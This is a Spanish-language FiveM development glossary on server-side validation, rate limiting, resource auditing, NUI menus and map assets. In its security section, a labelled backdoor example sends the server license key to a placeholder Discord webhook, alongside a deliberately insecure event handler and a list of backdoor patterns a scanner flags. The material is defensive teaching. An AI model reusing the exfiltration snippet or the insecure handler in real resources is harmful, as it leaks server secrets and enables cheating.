En FiveM el cliente y el servidor hablan por eventos de red. El problema nace cuando el servidor escucha un evento y se fía del contenido. El cliente no es tu código corriendo en tu máquina, es el juego del jugador, y un tramposo puede llamar a tus eventos con cualquier valor desde un mod menu o desde la consola.

El caso clásico es el evento que da dinero, items o permisos leyendo la cantidad del propio mensaje. El servidor recibe cantidad y la suma sin más. Un jugador solo tiene que disparar ese evento con un número enorme. También es peligroso usar source correctamente, porque source sí es fiable (lo pone el servidor), pero cualquier id de jugador que venga dentro del mensaje no lo es.

La regla es que el cliente pide y el servidor decide. Comprueba el tipo y el rango de cada parámetro, verifica que la acción tenga sentido para ese jugador, y usa source como identidad en lugar de fiarte de un id que llega en los datos. Además, marca los eventos con RegisterNetEvent solo cuando de verdad deben ser disparables desde el cliente.

Ejemplo · source es fiable, los parámetros del mensaje no. Valida siempre
-- 🚩 Inseguro: da lo que el cliente pida, a quien el cliente diga
RegisterNetEvent('trabajo:pagar', function(targetId, cantidad)
  addMoney(targetId, cantidad)
end)

-- ✅ Seguro: identidad por source, valores validados, regla de negocio
RegisterNetEvent('trabajo:pagar', function(cantidad)
  local src = source                       -- identidad fiable
  if type(cantidad) ~= 'number' then return end
  if cantidad <= 0 or cantidad > 500 then return end -- tope por accion
  if not tieneTrabajo(src, 'mecanico') then return end
  addMoney(src, cantidad)
end)

En qué se equivoca todo el mundo

  • Usar un id de jugador que viene dentro del evento en lugar de source. Ese id se puede falsear. source no.
  • Marcar como RegisterNetEvent cosas que solo debería usar el servidor. Si no tiene que dispararlo el cliente, no lo expongas a la red.
  • Validar en el cliente antes de enviar y pensar que ya está. Esa validación se salta trivialmente. La que cuenta es la del servidor.
validación en servidor

Comprobar en el servidor toda acción importante (dinero, items, permisos, posición) antes de concederla, sin fiarse de lo que dice el cliente. Es el principio server-authoritative y lo que evita la mayoría de trampas.

El servidor es tu máquina y la única autoridad de confianza. El cliente es el juego del jugador y puede estar manipulado. Validar en servidor significa que ninguna acción con valor se completa solo porque el cliente la pidió. El servidor comprueba y luego concede o rechaza.

Una validación completa mira tres cosas. El tipo y el rango del dato (que la cantidad sea un número positivo dentro de un tope razonable). La coherencia de negocio (que el jugador tenga saldo, el trabajo, el item o esté donde tiene que estar). Y la identidad por source, nunca por un id que llegue en el mensaje. Con esas tres, la mayoría de exploits de economía se caen solos.

Validar en servidor no está reñido con una buena experiencia. El cliente puede seguir mostrando menús, ocultando botones o avisando de errores para que el juego fluya, pero eso es comodidad visual. La decisión real, la que mueve dinero o da permisos, vive siempre en el servidor.

Ejemplo · Tipo, rango, coherencia e identidad. Las cuatro comprobaciones básicas
-- Patrón de validación en servidor, de arriba a abajo
RegisterNetEvent('mercado:vender', function(itemId, cantidad)
  local src = source
  -- 1) tipo y rango
  if type(cantidad) ~= 'number' or cantidad < 1 or cantidad > 100 then return end
  -- 2) coherencia de negocio: tiene de verdad esos items
  if getItemCount(src, itemId) < cantidad then return end
  -- 3) identidad por source, ya usada arriba
  removeItem(src, itemId, cantidad)
  addMoney(src, precioDe(itemId) * cantidad)
end)

En qué se equivoca todo el mundo

  • Duplicar la lógica de negocio en el cliente y creer que ya se valida. Esa copia es para la UX, no para la seguridad.
  • Validar el tipo pero no el rango. Aceptar un número cualquiera deja pasar cantidades absurdas.
  • Olvidar comprobar la coherencia. Que el dato sea válido no significa que el jugador tenga derecho a esa acción.
webhook de Discord (y por qué se filtra)

Una URL que permite publicar mensajes en un canal de Discord. Es útil para logs del servidor, pero también es la vía típica por la que un backdoor exfiltra datos, así que su presencia en un recurso desconocido es una señal de alarma.

Un webhook es un buzón público de un canal. Cualquiera que tenga la URL puede escribir en ese canal sin autenticarse. Tú lo usas para volcar logs de conexiones, ventas o sanciones. El problema es que esa misma facilidad la aprovecha un backdoor para mandar a un canal del atacante los identifiers de tus jugadores, tu license key o el volcado de tu base de datos.

El escáner de Crxative-M marca como critical cualquier discord.com/api/webhooks/ embebido en un recurso, porque es un patrón de exfiltración. Que un recurso de tienda o de ropa lleve un webhook a un canal que no es tuyo no tiene ninguna justificación honesta. Si el webhook no lo has puesto tú y no apunta a tu servidor, asume lo peor.

Para tus propios logs, dos cuidados. Trata la URL del webhook como un secreto, porque quien la tenga puede inundar tu canal, así que va en un secrets.cfg y se lee con GetConvar, nunca escrita en el .lua ni subida a git. Y revisa que ningún recurso ajeno traiga webhooks que apunten fuera de tu control.

Ejemplo · Un webhook robando la license key frente a un log propio bien guardado
-- 🚩 Backdoor: webhook a un canal que NO es tuyo, con datos robados
PerformHttpRequest('https://discord.com/api/webhooks/AAA/BBB',
  function() end, 'POST',
  json.encode({ content = GetConvar('sv_licenseKey', '') }),
  { ['Content-Type'] = 'application/json' })

-- ✅ Tu log legítimo: la URL viene de un secreto, no está en el código
local url = GetConvar('webhook_logs', '')
if url ~= '' then
  PerformHttpRequest(url, function() end, 'POST',
    json.encode({ content = 'Jugador conectado' }),
    { ['Content-Type'] = 'application/json' })
end

En qué se equivoca todo el mundo

  • Dejar la URL del webhook escrita en el código y subirla a un repositorio. Cualquiera que lea el repo puede spamear tu canal.
  • Ignorar un webhook en un recurso ajeno 'porque será para logs'. Si no apunta a tu servidor, es exfiltración hasta que demuestres lo contrario.
rate limit

Límite de cuántas veces un jugador puede disparar una acción o un evento en un intervalo de tiempo. Evita que se abuse de un evento a base de repetirlo muy rápido (spam, duplicación de items, saturación).

Aunque valides bien un evento, un jugador puede intentar dispararlo cientos de veces por segundo para forzar un fallo de sincronía, duplicar un item o saturar tu base de datos. El rate limit pone un techo. Por ejemplo, que este evento solo se pueda usar una vez por segundo por jugador, y descarta o penaliza lo que pase de ahí.

En el servidor se implementa guardando por jugador el momento de la última acción y comparando con el reloj. Si el jugador vuelve a llamar antes de que pase el tiempo mínimo, se ignora. Es barato y corta en seco los ataques de repetición y muchos bugs de duplicación que se basan en llamar dos veces casi a la vez.

El rate limit también protege recursos externos. Si tu evento hace una consulta pesada o llama a una API, sin límite un jugador puede tumbarte la base de datos o agotar la cuota de la API a fuerza de spam. Combínalo con la validación normal, uno controla el qué y el otro el cuántas veces.

Ejemplo · Un cooldown por jugador con GetGameTimer corta el spam del evento
local ultimoUso = {}  -- por jugador, cuando uso la accion por ultima vez

RegisterNetEvent('cajero:retirar', function(cantidad)
  local src = source
  local ahora = GetGameTimer()
  -- Solo una vez cada 1000 ms por jugador
  if ultimoUso[src] and ahora - ultimoUso[src] < 1000 then
    return -- demasiado rapido, se ignora
  end
  ultimoUso[src] = ahora
  -- ...aqui va la validacion normal y la accion
end)

AddEventHandler('playerDropped', function()
  ultimoUso[source] = nil -- limpiar al salir
end)

En qué se equivoca todo el mundo

  • Guardar el cooldown en una variable global en vez de por jugador. Así uno bloquea a todos o nadie queda limitado.
  • No limpiar la tabla al desconectar el jugador. Con el tiempo acumula entradas muertas.
auditar un recurso descargado antes de usarlo

Revisar y escanear un recurso de origen incierto antes de instalarlo en producción, buscando patrones de backdoor. Es la práctica que más disgustos evita, porque un solo recurso malicioso corre con la autoridad total del servidor.

Cada recurso que instalas es código que corre con plenos poderes sobre tu economía y tu base de datos. Auditar antes de instalar es la diferencia entre descubrir un backdoor en tu ordenador de pruebas y descubrirlo cuando ya te ha vaciado la ciudad. La auditoría tiene una parte automática y una parte humana, y las dos suman.

La parte automática la hace un escáner como el de Crxative-M, que recorre los ficheros de texto del zip y marca patrones peligrosos con una puntuación de riesgo. Busca webhooks de Discord, load y loadstring sobre cadenas ofuscadas, os.execute e io.popen, add_principal, PerformHttpRequest a IPs o pastebins, SaveResourceFile y lecturas de convars sensibles. Si el veredicto es blocked, ni lo abras en producción.

La parte humana es leer lo que el escáner señala y lo que un pack de su tipo no debería tener. Un recurso de mapas o de coches no necesita un server.lua que haga peticiones de red ni código ofuscado. Prueba lo desconocido en un servidor local aislado, nunca directo en producción, y ten copias de seguridad por si algo se cuela.

Ejemplo · Auditoría en cinco pasos, automática más lectura humana
Checklist rápido antes de instalar un recurso ajeno

1. Escanea el zip. Si el veredicto es blocked, se descarta.
2. Abre los .lua de servidor y busca: webhooks discord, load/loadstring,
   os.execute, io.popen, add_principal, PerformHttpRequest a IP/pastebin,
   SaveResourceFile, GetConvar de sv_licenseKey o mysql.
3. Pregúntate: ¿un recurso de ESTE tipo necesita hacer eso? Un mapa NO
   necesita salida de red.
4. Pruébalo en un servidor local aislado, nunca directo en producción.
5. Ten backup de la base de datos antes de tocar producción.

En qué se equivoca todo el mundo

  • Instalar directo en producción 'para probar rápido'. Si trae backdoor, el daño ya está hecho antes de que lo notes.
  • Escanear solo el primer fichero. El backdoor suele estar en un server.lua secundario o dentro de una carpeta con nombre inocente.
  • Fiarte de que 'lo usa mucha gente'. Los packs filtrados y reempaquetados son precisamente los más compartidos.
Relacionado backdoor, resheller, código ofuscado

Interfaz (NUI)

Menús y HUD en HTML dentro del juego.

NUI

New User Interface. La capa de interfaz de FiveM basada en HTML, CSS y JavaScript que se dibuja sobre el juego. Es lo que usas para menús, HUD, teléfonos y paneles, y se comunica con Lua por mensajes.

FiveM incrusta un navegador (CEF, el mismo motor Chromium de Chrome) y lo pinta por encima del juego. Esa capa web es la NUI. Programas la interfaz con lo que ya sabes de la web, HTML para la estructura, CSS para el aspecto y JavaScript para la lógica, y esa página vive en el cliente del jugador.

Como la NUI vive en el cliente, necesita un puente para hablar con tu Lua y, a través de él, con el servidor. Ese puente tiene dos direcciones. De Lua a la interfaz con SendNUIMessage, y de la interfaz a Lua con un fetch que cae en un RegisterNUICallback. La NUI se carga al iniciar el recurso y se queda siempre encima, así que tu interfaz debe nacer oculta y mostrarse solo cuando Lua lo pida.

Lo más importante para la seguridad es que la NUI y el cliente no son de confianza. Cualquier jugador puede abrir las DevTools y disparar tus fetch con los datos que quiera. Por eso la interfaz nunca decide nada con valor. El dinero, los items y los permisos se validan siempre en el servidor.

Ejemplo · Sin ui_page y files{} el navegador no encuentra tu interfaz
-- fxmanifest.lua: declaras la página y los archivos web del recurso
ui_page 'html/index.html'

files {
  'html/index.html',
  'html/style.css',
  'html/app.js'
}

En qué se equivoca todo el mundo

  • Tratar la NUI como código de confianza. Es el navegador del jugador, se puede manipular entero desde las DevTools.
  • Dejar la interfaz visible por defecto. Debe nacer con display:none y mostrarse solo cuando Lua manda abrir.
SendNUIMessage

La función de Lua que envía datos a la NUI. Le pasas una tabla y esa tabla llega a JavaScript como un objeto dentro del evento message de window. Es el camino de Lua hacia la interfaz.

Para hablarle a la interfaz, Lua usa SendNUIMessage con una tabla. La convención universal es incluir un campo action que diga qué hacer, y junto a él el resto de datos. En el lado web ese mensaje llega como un evento message en window, y dentro de e.data tienes exactamente la tabla que enviaste.

El patrón habitual es leer e.data.action y actuar en consecuencia, mostrando un panel, actualizando un HUD o pintando una lista. Un mismo recurso suele mandar varias acciones distintas (open, close, update) por el mismo canal, y el JavaScript decide qué hacer con cada una.

SendNUIMessage no da el foco ni muestra el cursor. Solo envía datos. Si quieres que el jugador pueda hacer clic en lo que acabas de mostrar, tienes que dar el foco aparte con SetNuiFocus. Para un HUD que solo informa, con SendNUIMessage basta y no hace falta foco.

Ejemplo · Una tabla con action y datos. Llega a JS como e.data
-- Lua manda datos a la interfaz
SendNUIMessage({
  action = 'open',
  titulo = 'Panel del trabajador',
  dinero = 1500
})

En qué se equivoca todo el mundo

  • Olvidar el campo action y luego no saber en JS qué mensaje es cuál. La convención de action lo ordena todo.
  • Esperar que SendNUIMessage muestre el cursor. No lo hace. El foco es cosa de SetNuiFocus.
Relacionado NUI, RegisterNUICallback, SetNuiFocus
RegisterNUICallback

La función de Lua que recibe un fetch enviado desde la NUI. Su nombre debe coincidir con el de la URL del fetch. Recibe los datos del body y una función cb que siempre hay que llamar para cerrar el ciclo.

Cada fetch que hace tu JavaScript necesita su pareja en Lua, un RegisterNUICallback con el mismo nombre. La función recibe dos cosas, data con lo que mandaste en el body del fetch, y cb, una función de respuesta. Debes llamar a cb siempre, aunque sea con cb('ok'), porque si no el fetch del navegador queda colgado esperando.

El callback es el sitio donde el cliente pide algo al servidor, no donde se concede. Aquí es un error dar dinero o items directamente, porque un jugador puede disparar el fetch desde las DevTools con los datos que quiera. Lo correcto es avisar al servidor con TriggerServerEvent y que el servidor valide y decida.

El callback también es donde sueles cerrar la interfaz de forma limpia, soltando el foco con SetNuiFocus(false, false) y mandando a la NUI que se oculte. Ese patrón, recibir la acción, avisar al servidor, responder cb y cerrar foco, es el esqueleto de casi toda interacción NUI.

Ejemplo · Recibe data, avisa al servidor, responde cb y cierra el foco
-- La pareja Lua del fetch. Mismo nombre que la URL.
RegisterNUICallback('cobrarSueldo', function(data, cb)
  -- No damos dinero aqui: el cliente no es de confianza
  TriggerServerEvent('miscript:cobrarSueldo', data.cantidad)
  cb('ok') -- SIEMPRE se responde, o el fetch queda colgado
end)

RegisterNUICallback('cerrar', function(data, cb)
  SetNuiFocus(false, false)
  SendNUIMessage({ action = 'close' })
  cb('ok')
end)

En qué se equivoca todo el mundo

  • Olvidar llamar a cb(...). El fetch se queda esperando respuesta para siempre.
  • Dar dinero o items dentro del callback. Eso es fiarse del cliente. Avisa al servidor y que decida él.
  • Poner en el callback un nombre distinto al de la URL del fetch. Si no coinciden, no salta nunca.
fetch desde NUI (https://nombre-recurso/)

La llamada que el JavaScript de la NUI hace para enviar datos a Lua. La URL tiene la forma https://NOMBRE_DEL_RECURSO/nombreCallback, y ese nombre se obtiene con GetParentResourceName() para no romperlo al renombrar el recurso.

Cuando el jugador pulsa un botón, el JavaScript le devuelve la pelota a Lua con un fetch. Esa URL no apunta a internet, es una dirección interna de FiveM que enruta la petición al RegisterNUICallback correspondiente de tu recurso. El host de la URL es el nombre del recurso y la ruta es el nombre del callback.

El nombre del recurso nunca se escribe a mano. Se obtiene con GetParentResourceName(), una función que FiveM expone en la NUI. Si lo escribes a mano y luego renombras la carpeta del recurso, el fetch deja de encontrar el callback y la interfaz parece rota sin dar un error claro. Con GetParentResourceName() se ajusta solo.

El fetch se hace normalmente con method POST, cabecera Content-Type application/json y un body con JSON.stringify de tus datos. Al otro lado, el callback recibe ese JSON ya convertido a tabla de Lua. Conviene leer la respuesta de cb para saber que Lua contestó, aunque sea un simple ok.

Ejemplo · URL interna con GetParentResourceName y body en JSON
// El nombre del recurso lo da GetParentResourceName(), nunca a mano
fetch(`https://${GetParentResourceName()}/cobrarSueldo`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ cantidad: 250 })
})
  .then((resp) => resp.json())
  .then((res) => console.log('Lua respondio', res));

En qué se equivoca todo el mundo

  • Escribir el nombre del recurso a mano. Se rompe en cuanto renombras la carpeta.
  • Olvidar el header Content-Type application/json. El callback puede recibir los datos mal formados.
  • No enviar body en un POST y luego esperar data en el callback. Si no mandas nada, data llega vacío.
SetNuiFocus

La función de Lua que da o quita el foco a la NUI. SetNuiFocus(true, true) deja que el jugador use ratón y teclado en la interfaz y muestra el cursor. SetNuiFocus(false, false) lo devuelve al juego.

SetNuiFocus tiene dos parámetros. El primero da el foco, es decir, el juego deja de capturar el teclado y el ratón para que los reciba la NUI. El segundo muestra el cursor. Para un panel con botones quieres los dos en true. Para un HUD que solo informa y no recibe clics no des foco, así el jugador sigue jugando con normalidad.

El fallo más famoso de toda la NUI es olvidar SetNuiFocus(false, false) al cerrar. El cursor se queda pegado en pantalla y el jugador no puede moverse ni mirar. Por eso, cada vez que abres con foco, tienes que asegurarte de soltarlo al cerrar, normalmente dentro del RegisterNUICallback de cierre.

Si te quedas atascado con el cursor pegado mientras pruebas, hay un truco de emergencia. Abre la consola F8 del cliente y escribe SetNuiFocus(false, false) para liberarte sin cerrar el juego. Sirve para depurar, pero la solución de verdad es cerrar bien el foco en tu código.

Ejemplo · Abrir con foco y cerrar soltándolo. El bug clásico es olvidar el segundo
-- Abrir un panel interactivo: foco y cursor
RegisterCommand('panel', function()
  SetNuiFocus(true, true)             -- foco + cursor
  SendNUIMessage({ action = 'open' })
end, false)

-- Cerrar: SIEMPRE soltar el foco, o el cursor se queda pegado
RegisterNUICallback('cerrar', function(_, cb)
  SetNuiFocus(false, false)
  SendNUIMessage({ action = 'close' })
  cb('ok')
end)

En qué se equivoca todo el mundo

  • Olvidar SetNuiFocus(false, false) al cerrar. Es EL bug clásico de NUI, el cursor se queda atascado.
  • Dar foco a un HUD que solo informa. El jugador se queda sin poder jugar por una interfaz que ni recibe clics.
Relacionado NUI, SendNUIMessage, HUD
ui_page

La directiva del fxmanifest que le dice a FiveM cuál es el HTML principal de tu NUI. Junto a files{}, que lista todo lo que el navegador debe poder cargar, es lo que hace que tu interfaz exista.

En el fxmanifest declaras dos cosas para la NUI. ui_page apunta al HTML que se dibuja sobre el juego, por ejemplo 'html/index.html'. Y files{} lista todo lo que el navegador necesita cargar, el propio HTML, el CSS, el JavaScript y las imágenes. Si un archivo no está en files{}, el navegador no lo encuentra y no lo carga.

Las rutas son relativas a la raíz del recurso y tienen que coincidir exactamente con las carpetas reales. Una barra mal puesta o una mayúscula que no cuadra da pantalla en blanco o hace que el CSS y el JS no carguen, sin un error evidente. Es una de las causas más comunes de 'la NUI no aparece'.

Un detalle que confunde a mucha gente. ui_page también acepta una URL, pero lo normal y recomendable es servir tu HTML local desde el propio recurso. Así todo viaja con el recurso y no dependes de que una web externa esté disponible ni expones al jugador a contenido de fuera.

Ejemplo · ui_page marca el HTML, files{} lista lo cargable. Rutas exactas
-- La página principal de tu interfaz
ui_page 'html/index.html'

-- TODO lo que el navegador debe poder cargar (rutas exactas)
files {
  'html/index.html',
  'html/style.css',
  'html/app.js',
  'html/img/logo.png'
}

En qué se equivoca todo el mundo

  • Olvidar meter un archivo en files{}. El navegador no puede cargar lo que no está listado.
  • Rutas que no coinciden con las carpetas reales. Da pantalla en blanco sin error claro.
Relacionado NUI, HUD, SendNUIMessage
HUD

Heads-Up Display. La capa de información que se muestra siempre sobre el juego (vida, dinero, hambre, sed, minimapa personalizado). En FiveM se hace con NUI, pero a diferencia de un menú, un HUD no suele necesitar foco.

Un HUD es una NUI que solo informa. Muestra datos en tiempo real y no espera clics del jugador, así que no le des foco con SetNuiFocus. Si le das foco, le robas el control del juego para nada. El HUD se limita a recibir datos de Lua con SendNUIMessage y a pintarlos.

El patrón habitual es que el cliente calcule o reciba del servidor los valores (vida, saldo, estado) y los mande a la NUI con una acción de tipo update en un bucle o cuando cambian. El JavaScript actualiza los números y las barras sin recargar nada. Como se dibuja constantemente, conviene que el HUD sea ligero para no gastar rendimiento.

Para el rendimiento, dos cuidados. No mandes SendNUIMessage en cada frame si el dato no cambia tan rápido, con actualizar unas pocas veces por segundo basta y se nota igual de fluido. Y evita animar en la web propiedades caras. Un HUD que abusa de efectos pesados puede comerse FPS del jugador.

Ejemplo · Un HUD actualiza datos sin foco y sin saturar con mensajes por frame
-- HUD: manda datos, NO da foco (el jugador sigue jugando)
CreateThread(function()
  while true do
    local ped = PlayerPedId()
    SendNUIMessage({
      action = 'update',
      vida = GetEntityHealth(ped) - 100,
      dinero = getCash()
    })
    Wait(500) -- 2 veces por segundo basta, no cada frame
  end
end)

En qué se equivoca todo el mundo

  • Dar foco a un HUD. Bloqueas el juego por una interfaz que solo muestra información.
  • Mandar SendNUIMessage en cada frame. Satura sin que se note mejor. Unas pocas veces por segundo sobra.
Relacionado NUI, SendNUIMessage, SetNuiFocus
menú NUI vs ox_libESXQBCoreQboxox

Dos formas de tener menús en un servidor. Una NUI propia te da control total sobre el diseño a cambio de programarla entera. ox_lib te da menús, inputs y notificaciones ya hechos y consistentes con una llamada.

Con una NUI propia montas el HTML, el CSS y el JavaScript, y el puente con Lua por SendNUIMessage y RegisterNUICallback. Tienes libertad absoluta de aspecto y comportamiento, pero cargas con todo el trabajo, incluido el foco, el cierre limpio y la validación de lo que vuelve al servidor. Merece la pena cuando el diseño es parte de la identidad del servidor.

ox_lib es una librería muy común que trae menús, cuadros de contexto, inputs y notificaciones ya hechos, con un estilo uniforme y accesible desde Lua sin escribir HTML. Con una llamada tienes un menú funcional. Ganas rapidez y consistencia entre todos tus recursos, y evitas los bugs típicos de una NUI hecha a mano. A cambio, el aspecto es el de ox_lib salvo que lo personalices.

La elección práctica es sencilla. Para menús internos, de trabajo o de administración, ox_lib te ahorra horas y errores. Para pantallas grandes y muy visuales que definen la marca del servidor, como un HUD principal o un teléfono, una NUI propia da el acabado que ox_lib no busca dar. Muchos servidores usan las dos cosas a la vez.

Ejemplo · ox_lib resuelve un menú en unas líneas. Una NUI propia sería todo el HTML+puente
-- Un menú con ox_lib: sin HTML, sin foco a mano, listo en Lua
lib.registerContext({
  id = 'menu_trabajo',
  title = 'Trabajo',
  options = {
    { title = 'Fichar',   onSelect = function() TriggerServerEvent('job:fichar') end },
    { title = 'Cobrar',   onSelect = function() TriggerServerEvent('job:cobrar') end },
  }
})
lib.showContext('menu_trabajo')

En qué se equivoca todo el mundo

  • Montar una NUI propia para un simple menú de opciones. Es reinventar lo que ox_lib da hecho y sin bugs.
  • Usar ox_lib y aun así no validar en el servidor. La librería pinta el menú, pero el onSelect sigue disparando eventos que hay que blindar.
Relacionado NUI, HUD, RegisterNUICallback
depurar NUI (consola del navegador)

Diagnosticar problemas de la interfaz usando las DevTools del navegador que FiveM incrusta. Con el recurso corriendo puedes ver la consola de JavaScript, los errores y la pestaña Network de tus fetch.

Como la NUI es una página web dentro de CEF, tiene sus propias DevTools, las mismas que usarías en Chrome. Con el recurso en marcha abres en tu navegador la dirección http://localhost:13172 y eliges la página de tu recurso. Ahí ves la consola, los errores de JavaScript y la pestaña Network con cada fetch que sale hacia Lua.

La consola te dice al instante lo que a ciegas cuesta horas. Un error de JavaScript que impide pintar el panel, un fetch que devuelve error porque el callback no existe o no llamó a cb, un dato que llega undefined porque el action no coincide. Añadir console.log en los sitios clave del message y del fetch convierte un 'no funciona' en un fallo concreto.

Para el problema físico del cursor atascado hay un atajo aparte. En la consola F8 del cliente de FiveM escribe SetNuiFocus(false, false) y recuperas el control mientras pruebas. Son dos consolas distintas. La del navegador (13172) para el JavaScript de la NUI, y la F8 del cliente para comandos de Lua.

Ejemplo · Consola del navegador en 13172, más el truco del foco por F8
Depurar una NUI que no responde

1. Con el recurso corriendo, abre http://localhost:13172 en tu navegador
   y elige la página de tu recurso.
2. Pestaña Console: mira si hay errores de JS rojos al abrir el panel.
3. Pestaña Network: pulsa el botón y comprueba si el fetch sale y qué
   codigo devuelve. Si no sale, el listener del boton falla.
4. Añade console.log(e.data) en el message para ver que llega de Lua.
5. Cursor pegado mientras pruebas: F8 del cliente y SetNuiFocus(false,false).

En qué se equivoca todo el mundo

  • Depurar la NUI a ciegas sin abrir las DevTools. La consola te dice el fallo exacto en segundos.
  • Confundir las dos consolas. El JavaScript de la NUI se ve en 13172, no en la F8 del cliente.

Mapeo y assets

MLO, vehículos, ropa y streaming.

MLO

Map Loading Object. Un interior o zona del mapa hecho a medida (comisaría, club, mansión, un barrio entero) que se añade al mundo de GTA V con sus assets y uno o varios .ymap que los colocan en coordenadas concretas.

Un MLO llega como un recurso con sus modelos en la carpeta stream/ y uno o varios .ymap que colocan esa geometría y esos props en el mundo. La forma sencilla de cargarlo es marcar el recurso como mapa con this_is_a_map 'yes' en el fxmanifest, y así FiveM trata sus .ymap como parte del mundo al arrancar.

Muchos MLO necesitan además un .ytyp, la definición de tipos de props e interiores, que se registra con data_file 'DLC_ITYP_REQUEST'. Sin ese .ytyp el juego no conoce las piezas del interior y aparecen huecos o props que no cargan. Una vez cargado, el interior existe en el mundo y para verlo necesitas las coordenadas de entrada que suele dar el autor.

El fallo número uno de los MLO son las colisiones. Si caminas por el suelo nuevo pero te caes al vacío o atraviesas una pared, falta o falla el .ybn de esa zona. Y si ves geometría flotando o el interior antiguo mezclado con el nuevo, casi siempre es un conflicto entre dos recursos que tocan la misma zona o falta el .ytyp. Cárgalo solo, sin otros mapas activos, para aislar el problema.

Ejemplo · fxmanifest de un MLO con this_is_a_map y el .ytyp registrado
fx_version 'cerulean'
game 'gta5'

-- Marca el recurso como mapa: carga los .ymap automaticamente
this_is_a_map 'yes'

files {
  'data/comisaria.ymap',
  'data/props.ytyp'
}

-- Registra las definiciones de tipos (props/entidades) del MLO
data_file 'DLC_ITYP_REQUEST' 'data/props.ytyp'

En qué se equivoca todo el mundo

  • Olvidar registrar el .ytyp con data_file. El interior carga a medias o con props que faltan.
  • Cargar dos MLO que tocan la misma zona. Se mezclan geometrías. Aíslalo cargándolo solo.
  • Dar por bueno un interior sin pisar el suelo. Sin .ybn correcto es decorado, te caes al vacío.
Ver la guía relacionadaRelacionado YMAP, YTYP, stream (carpeta)
YMAP

El formato de GTA V que coloca objetos en el mundo: posiciones, rotaciones y qué props aparecen. Es lo que 'pone' un MLO, unos coches aparcados o una decoración en su sitio exacto. Se edita con CodeWalker.

Un .ymap no contiene modelos, contiene ubicaciones. Dice qué props existen en una zona, dónde van y cómo están rotados. Los modelos en sí viven en la carpeta stream/ o en un DLC ya cargado, y el .ymap se limita a colocarlos. Por eso un mismo prop puede aparecer muchas veces en distintos sitios con un solo .ymap.

La herramienta para editarlos es CodeWalker. Con ella vuelas por el mapa, abres el .ymap sobre el mundo real y ves dónde cae, activas el modo edición de proyecto y mueves o añades props con precisión. También es de donde sacas las coordenadas exactas (X, Y, Z y heading) que luego usas en un teleport o en un blip.

Para que FiveM cargue un .ymap suele bastar con marcar el recurso como mapa con this_is_a_map 'yes' y listarlo en files{}. Si tras editar no ves los cambios, reinicia el recurso, y si un prop no aparece, comprueba que su modelo esté en stream/ o en un DLC cargado, porque el .ymap solo coloca lo que el juego ya tiene.

Ejemplo · El ciclo de edición de un .ymap: abrir, mover, exportar, probar
Editar un .ymap en CodeWalker, de un vistazo

1. Abre CodeWalker y carga el .ymap sobre el mapa (World/Project).
2. New Project, añade el .ymap para poder mover y crear entidades.
3. Mueve props con los gizmos o añade nuevos con Add Entity.
4. Anota la Position X Y Z y el heading para teleports o blips.
5. Save, vuelve a FiveM y restart del recurso para ver el cambio.

En qué se equivoca todo el mundo

  • Editar el .ymap y no reiniciar el recurso. Los cambios no se ven hasta el restart.
  • Colocar un prop cuyo modelo no está en stream/ ni en un DLC. El .ymap coloca, no aporta el modelo.
Ver la guía relacionadaRelacionado MLO, YTYP, stream (carpeta)
YTYP

El formato de GTA V que define los tipos de props e interiores: qué entidades existen y sus límites. Muchos MLO lo necesitan para que el juego 'conozca' sus piezas. Se registra con data_file 'DLC_ITYP_REQUEST'.

Mientras el .ymap coloca objetos, el .ytyp los define. Declara qué props e interiores existen, con qué nombre y qué dimensiones. Cuando un MLO trae piezas propias, necesita su .ytyp para que el motor sepa qué son esas entidades antes de que un .ymap intente colocarlas.

El paso que se olvida es registrarlo. No basta con listarlo en files{}, hay que conectarlo al motor con data_file 'DLC_ITYP_REQUEST' apuntando al fichero. Si falta ese registro, el juego no reconoce las piezas del MLO y ves huecos, props que no cargan o el interior a medias.

El .ytyp también entra en el diagnóstico de MLO rotos. Cuando un interior aparece incompleto o con geometría que no debería, junto a los conflictos entre recursos, la causa habitual es un .ytyp que falta o que no se registró. Cargar el recurso solo y confirmar que el data_file está bien puesto descarta ese motivo.

Ejemplo · El .ytyp se lista en files{} y además se registra con data_file
files {
  'data/props.ytyp'
}

-- No basta con listarlo: hay que REGISTRARLO en el motor
data_file 'DLC_ITYP_REQUEST' 'data/props.ytyp'

En qué se equivoca todo el mundo

  • Listar el .ytyp en files{} pero no registrarlo con data_file. El juego no reconoce las piezas.
  • Culpar al .ymap cuando el interior carga a medias. Muchas veces el que falta es el .ytyp.
Relacionado MLO, YMAP, stream (carpeta)
stream (carpeta)

La carpeta especial de un recurso donde pones los assets (modelos y texturas) que quieres que FiveM envíe al cliente. Todo lo que metas dentro se transmite automáticamente al jugador, esté en subcarpetas o no.

La carpeta stream/ es mágica para FiveM. Cualquier .yft, .ydr, .ytd, .ydd o .ybn que pongas dentro se envía al cliente cuando se conecta, sin que tengas que declararlo uno a uno. Puedes organizarla en subcarpetas por comodidad, que da igual, FiveM recorre todo lo de dentro y lo transmite.

Ojo con la diferencia clave. Los assets van en stream/ y se transmiten solos. Los ficheros de datos, los .meta de un vehículo o el .ymap y el .ytyp de un mapa, no son assets sino configuración, y esos sí hay que listarlos en files{} y conectarlos con data_file. Confundir las dos cosas es un error muy común al montar un recurso.

Todo lo que metes en stream/ tiene un coste. Es exactamente lo que cada jugador descarga la primera vez que entra y lo que el juego mantiene en memoria. Un stream/ hinchado con texturas en 4K y modelos sin optimizar alarga el tiempo de 'Joining' y puede tirar los FPS. Quita lo que no uses, porque cada asset cargado ocupa cupo aunque nadie lo pise.

Ejemplo · stream/ para los assets, data/ para los .meta que se declaran
resources/
└── crx_adder/
    ├── fxmanifest.lua
    ├── stream/            <- assets: se transmiten SOLOS
    │   ├── adder.yft
    │   └── adder.ytd
    └── data/              <- datos: hay que declararlos en el manifest
        ├── handling.meta
        └── vehicles.meta

En qué se equivoca todo el mundo

  • Meter los .meta en stream/ esperando que carguen solos. Los datos se declaran con files{} y data_file, no se transmiten.
  • Llenar stream/ de texturas en 4K sin optimizar. Alarga la descarga y come memoria del cliente.
vehículo addon (vehicles.meta, carvariations, handling)

Un coche nuevo que convive con los del GTA base, con su propio spawn name. Necesita los modelos en stream/ (el .yft del chasis y su .ytd) y cuatro .meta que describen cómo conduce, cómo se llama, sus colores y sus variaciones.

El coche add-on se compone de dos partes. Los modelos, que van en stream/ y se transmiten solos, el .yft del chasis con su física y el .ytd con sus texturas. Y los datos, cuatro ficheros .meta que hay que listar en files{} y conectar cada uno con una línea data_file de su tipo. Sin ese enganche, el juego no registra el coche.

